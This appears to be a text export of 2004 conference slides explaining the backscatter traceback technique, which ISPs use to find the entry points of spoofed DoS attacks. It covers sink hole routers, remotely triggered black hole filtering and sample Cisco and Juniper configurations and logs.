Backscatter Traceback Technique Pioneered by Chris Morrow and Brian Gemberling @ UUNET as a means of finding the entry point of a spoofed DOS/DDOS. http://www.secsup.org/Tracking/ Combines the Sink Hole router, Backscatter Effects of Spoofed DOS/DDOS attacks, and remote triggered Black Hole Filtering to create a traceback system that provides a result within ~10 minutes.

Backscatter Traceback Technique: 

Backscatter Traceback Technique What is backscatter? FIB --------------------- --------------------- 192.168.1.0 = Null0 --------------------- --------------------- --------------------- --------------------- --------------------- ICMP Process --------------------- --------------------- --------------------- --------------------- Null0 Packets Arrive SRC = 172.16.10.70 DST = 192.168.1.1 Packets whose destination is unreachable (even Null0) will have a ICMP Unreachable sent back. This “unreachable noise” is backscatter. ICMP Unreachable to SRC 172.16.10.70

Backscatter Traceback Preparation: 

Backscatter Traceback Preparation Sink Hole Router/Network connected to the network and ready to classify the traffic. Like before, BGP Route Reflector Client, device to analyze logs, etc. Can use one router to do both the route advertisement and logging OR break them into two separation routers – one for route advertisement and the other to accept/log traffic Can be used for other Sink Hole functions while not using the traceback technique. Sink Hole Router can be a iBGP Route Reflector into the network.

Backscatter Traceback Preparation: 

Peer B Peer A Backscatter Traceback Preparation IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Target NOC G Sink Hole Network Sink Hole Router Ready to advertise routes and accept traffic. 171.68.19.0/24 171.68.19.1

Backscatter Traceback Activation: 

Backscatter Traceback Activation ! router bgp 31337 ! ! set the static redistribution to include a route-map so we can filter ! the routes somewhat... or at least manipulate them ! redistribute static route-map static-to-bgp ! ! add a stanza to the route-map to set our special next hop ! route-map static-to-bgp permit 5 match tag 666 set ip next-hop 172.20.20.1 set local-preference 50 set origin igp

Backscatter Traceback Activation: 

Backscatter Traceback Activation # Setup the bgp protocol to export our special policy, like redistributing, NOTE: "XXX" # is the IBGP bgp group... we don't want to send this to customers do we? # set protocols bgp group XXX export BlackHoleRoutes # # Now, setup the policy option for BlackHoleRoutes, like a route-map if static route # with right tag, set local-pref low, internal, no-export can't leak these or Tony Bates # will have a fit, and set the nexthop to the magical next-hop. # set policy-statement BlackHoleRoutes term match-tag666 from protocol static tag 666 set policy-statement BlackHoleRoutes term match-tag666 then local-preference 50 set policy-statement BlackHoleRoutes term match-tag666 then origin igp set policy-statement BlackHoleRoutes term match-tag666 then community add no-export set policy-statement BlackHoleRoutes term match-tag666 then nexthop 172.20.20.1 set policy-statement BlackHoleRoutes term match-tag666 then accept

Backscatter Traceback Preparation: 

Backscatter Traceback Preparation All edge devices (routers, NAS, IXP Routers, etc) with a static route to Null0. The Test-Net is a safe address to use (192.0.2.0/24) since no one is using it. Cisco: ip route 172.20.20.1 255.255.255.255 Null0 Juniper: set routing-options static route 172.20.20.1/32 reject install Routers also need to have ICMP Unreachables working. If you have ICMP Unreachables turned off (i.e. no ip unreachables on a Cisco), then make sure they are on. If ICMP Unreachable Overloads are a concern, use a ICMP Unreachable Rate Limit (i.e. ip icmp rate-limit unreachable command on a Cisco).

Backscatter Traceback Preparation: 

Peer B Peer A Backscatter Traceback Preparation IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Target NOC G Sink Hole Network 171.68.19.0/24 171.68.19.1 Edge Router with Test-Net to Null0 Edge Router with Test-Net to Null0 Edge Router with Test-Net to Null0

Backscatter Traceback Preparation: 

Backscatter Traceback Preparation Sink Hole Router advertising a large block of un-allocated address space with the BGP no-export community and BGP Egress route filters to keep the block inside. 96.0.0.0/3 is an example. Check with IANA for unallocated blocks: www.iana.org/assignments/ipv4-address-space BGP Egress filter should keep this advertisement inside your network. Use BGP no-export community to insure it stays inside your network.

Backscatter Traceback Preparation: 

Peer B Peer A Backscatter Traceback Preparation IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Target NOC G Sink Hole Network Sink Hole Router advertising 96.0.0.0/3 171.68.19.0/24 171.68.19.1

Backscatter Traceback Activation: 

Backscatter Traceback Activation Activation happens when an attack has been identified. Basic Classification should be done to see if the backscatter traceback will work: May need to adjust the advertised block. Statistically, most attacks have been spoofed using the entire Internet block.

Backscatter Traceback Activation: 

Backscatter Traceback Activation Sink Hole Router Advertises the /32 under attack into iBGP with. Advertised with a static route with the “666” tag: ip route victimip 255.255.255.255 Null0 tag 666 or set routing-options static route victimip/32 discard tag 666 The static triggers the routers to advertise the customer’s prefix

Backscatter Traceback Activation: 

Peer B Peer A Backscatter Traceback Activation IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Target NOC G Sink Hole Network Sink Hole router advertises the /32 under attack with next-hop equal to the Test-Net 171.68.19.0/24 171.68.19.1 Edge Routers start dropping packets to the/32 Edge Routers start dropping packets to the/32

Backscatter Traceback Activation: 

Backscatter Traceback Activation Black Hole Filtering is triggered by BGP through out the network. Packets to the target get dropped. ICMP Unreachable Backscatter starts heading for 96.0.0.0/3. Access list is used on the router to find which routers are dropping packets. access-list 101 permit icmp any any unreachables log access-list 101 permit ip any any

Backscatter Traceback Activation: 

Peer B Peer A Backscatter Traceback Activation IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Target NOC G Sink Hole Network Sink Hole Router receive the backscatter to 96/3 with entry points of the attack 171.68.19.0/24 171.68.19.1 ICMP Unreachable backscatter will start sending packets to 96/3 ICMP Unreachable backscatter will start sending packets to 96/3

Backscatter Traceback Activation: 

Backscatter Traceback Activation SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.47.251.104 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.70.92.28 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.222.127.7 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.96.223.54 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.14.21.8 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.105.33.126 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.77.198.85 (3/1), 1 packet SLOT 5:3w1d: %SEC-6-IPACCESSLOGDP: list 150 permitted icmp 171.68.66.18 -> 96.50.106.45 (3/1), 1 packet

Questions?: 

Questions?

Thank You!: 

Thank You! http://www.arbornetworks.com

http://www.tcb.net/apricot2004/: 

http://www.tcb.net/apricot2004/ danny@arbor.net